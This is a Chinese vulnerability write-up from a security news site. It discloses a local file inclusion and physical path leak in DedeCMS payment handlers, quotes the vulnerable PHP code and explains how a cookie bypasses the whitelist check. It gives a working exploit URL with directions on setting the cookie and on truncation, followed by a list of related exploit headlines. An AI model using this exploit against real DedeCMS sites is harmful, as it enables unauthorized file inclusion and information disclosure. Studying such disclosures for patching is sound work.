dedecms本地文件包含及物理路径泄露0day
晚餐吃撑了,瞄下代码消化消化。最近Php0day群里的兄弟都在讨论dede洞多,赶紧下了套,用editplus搜索了几个关键字,果然发现些问题。(话说平时写代码也喜欢用editplus,小巧方便多年习惯)
出现漏洞的两个文件为:
Include/payment/alipay.php
Include/payment/yeepay.php
漏洞均出现在respond方法里,估计这两个文件是临时工写的。
?
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27Include/payment/alipay.php
1 ......
2 function respond()
3 {
4 if (!empty($_POST))
5 {
6 foreach($_POST as $key => $data)
7 {
8 $_GET[$key] = $data;
9 }
10 }
11 /* 引入配置文件 */
12 require_once DEDEDATA.'/payment/'.$_GET['code'].'.php';
……
大概在133行左右,$_GET[‘code’]没有经过任何判断和过滤。
Include/payment/yeepay.php
?
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
171 ......
2 function respond()
3 {
4
5 /* 引入配置文件 */
6 require_once DEDEDATA.'/payment/'.$_REQUEST['code'].'.php';
7
8 $p1_MerId = trim($payment['yp_account']);
9 $merchantKey = trim($payment['yp_key']);
……
大概在145行左右,$_REQUEST['code']没有经过任何判断和过滤。
这两个方法在plus/carbuyaction.php文件调用。
plus/carbuyaction.php
?
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
261 ......
2 } else if ($dopost == 'return') {
3 $write_list = array('alipay', 'bank', 'cod', 'yeepay');
4 if (in_array($code, $write_list))
5 {
6 require_once DEDEINC.'/payment/'.$code.'.php';
7 $pay = new $code;
8 $msg=$pay->respond();
9 ShowMsg($msg, "javascript:;", 0, 3000);
10 exit();
11 } else {
12 exit('Error:File Type Can\'t Recognized!');
13 }
14 }
15 ......
大概在334行,当$dopost等于return的时候就开始进入过程了。熟悉dedecms朋友都知道在include/common.inc.php使用了一种类似register_globals的机制。
所以$_GET['code']或$_REQUEST['code']会变成$code,而$code是经过判断的,值必须在$write_list数组以内这样才能继续后面的流程调用respond方法触发漏洞。这样的话貌似就无法控制$_GET['code']为任意值了。
回到include/common.inc.php来看看他的机制。
?
1
2
3
4
5
6
7
8
9
10
11
12
13
141 ......
2 foreach(Array('_GET','_POST','_COOKIE') as $_request)
3 {
4 foreach($$_request as $_k => $_v)
5 {
6 if($_k == 'nvarname') ${$_k} = $_v;
7 else ${$_k} = _RunMagicQuotes($_v);
8 }
9 }
10 ......
大概在79行,可以看到他是从$_GET,$_POST,$_COOKIE这三个全局变量里取值的。嘿嘿,细心点就发现了吧。从他这个优先机制来讲他是先从get再从post再从cookie也就是说最终$code会是以$_COOKIE[‘code’]的值为准,而我们要控制的是$_GET[‘code’]或$_REQUEST['code']只须要$code的值在$write_list数组以内就行了。Exp:http://www.unhonker.com/plus/carbuyaction.php?dopost=return&code=../../tags上面的Exp是包含根目录下的tags.php文件包含其他后缀请自行构造截断,使用exp测试时须要自己添加一个code等于alipay或yeepay的cookie。暴路径:
由于bank和cod这两个文件并没有respond方法,所以如果code等于bank或者cod时将会暴错泄露路径。注:请勿非法测试,产生后果与本人无关。
漏洞发现日期:2013-3-27
本文来源:SecYe安全网[http://www.secye.com] (责任编辑:SecYe安全)
- ·微软Internet Explorer浏览器Jscript.Dll
- ·CVE-2019-0708远程桌面代码执行漏洞复现
- ·Harbor任意管理员注册漏洞
- ·微软RDP远程代码执行漏洞(CVE-2019-0708
- ·有上传文件的文件名处发现的时间延迟注入
- ·Xstream远程代码执行漏洞
- ·文本编辑器VimNeovim被曝任意代码执行漏
- ·PHPCMS v9.6.0 wap模块SQL注入 | FreeBuf
- ·戴尔电脑自带系统软件SupportAssist存在R
- ·CatFish CMS V4.8.75最新版XSS漏洞审计
- ·Easy WP SMTP(v1.3.9)0 day漏洞被攻击
- ·Weblogic反序列化远程代码执行漏洞(CVE-
- ·【漏洞预警】Weblogic反序列化远程命令执
- ·ThinkPHP 5.1框架结合RCE漏洞的深入分析
- ·WordPress Core 5.0 - Remote Code Execu
- ·NetSetMan 4.7.1 - Local Buffer Overflo
- ·微软Internet Explorer浏览器Jscript.Dll组
- ·CVE-2019-0708远程桌面代码执行漏洞复现
- ·Harbor任意管理员注册漏洞
- ·微软RDP远程代码执行漏洞(CVE-2019-0708)
- ·有上传文件的文件名处发现的时间延迟注入漏
- ·Xstream远程代码执行漏洞
- ·文本编辑器VimNeovim被曝任意代码执行漏洞
- ·PHPCMS v9.6.0 wap模块SQL注入 | FreeBuf
- ·戴尔电脑自带系统软件SupportAssist存在RCE
- ·CatFish CMS V4.8.75最新版XSS漏洞审计
- ·Easy WP SMTP(v1.3.9)0 day漏洞被攻击的
- ·Weblogic反序列化远程代码执行漏洞(CVE-20
- ·【漏洞预警】Weblogic反序列化远程命令执行
- ·ThinkPHP 5.1框架结合RCE漏洞的深入分析
- ·WordPress Core 5.0 - Remote Code Executi
- ·Discuz! X系列远程代码执行漏洞分析
- ·Drupal 7.31 SQL注入漏洞(CVE-2014-3704)
- ·TRS 漏洞整理
- ·Discuz x1.5获取任意用户cookie
- ·dedecms最新版本修改任意管理员漏洞+getshe
- ·php LFI读php文件源码以及直接post webshel
- ·爱丽网子域名站SQL注射登录后台
- ·Oracle WebCenter CheckOutAndOpen.dll Act
- ·DedeCMS Dialog目录下配置文件XSS漏洞
- ·Mutiny 5 任意文件上传
- ·新浪家居某功能储存型xss
- ·韩国HOMPYNET CMS漏洞
- ·Nvidia显示驱动服务(nvvsvc.exe)权限提升漏
- ·Microsoft Internet Explorer 6/7/8 mshtml
- ·AspCms_v1.5_20110517 SQL注射漏洞及修复
- ·Discuz x1.5获取任意用户cookie
- ·dedecms最新版本修改任意管理员漏洞+getshe
- ·TRS 漏洞整理
- ·Drupal 7.31 SQL注入漏洞(CVE-2014-3704)
- ·新浪家居某功能储存型xss
- ·phpok通杀前台getshell 4.0.515官方demo测
- ·PHPCMS V9投稿操作权限绕过及修复
- ·dedecms某一处insert型注入
- ·小红伞 提权 0day Avira avipbb.sys Privil
- ·phpcms 2008 sp4 后台低权限拿shell(自身
- ·Mutiny 5 任意文件上传
- ·php LFI读php文件源码以及直接post webshel
- ·爱丽网移动站SQL注入漏洞
- ·爱丽网子域名站SQL注射登录后台
- ·Oracle WebCenter CheckOutAndOpen.dll Act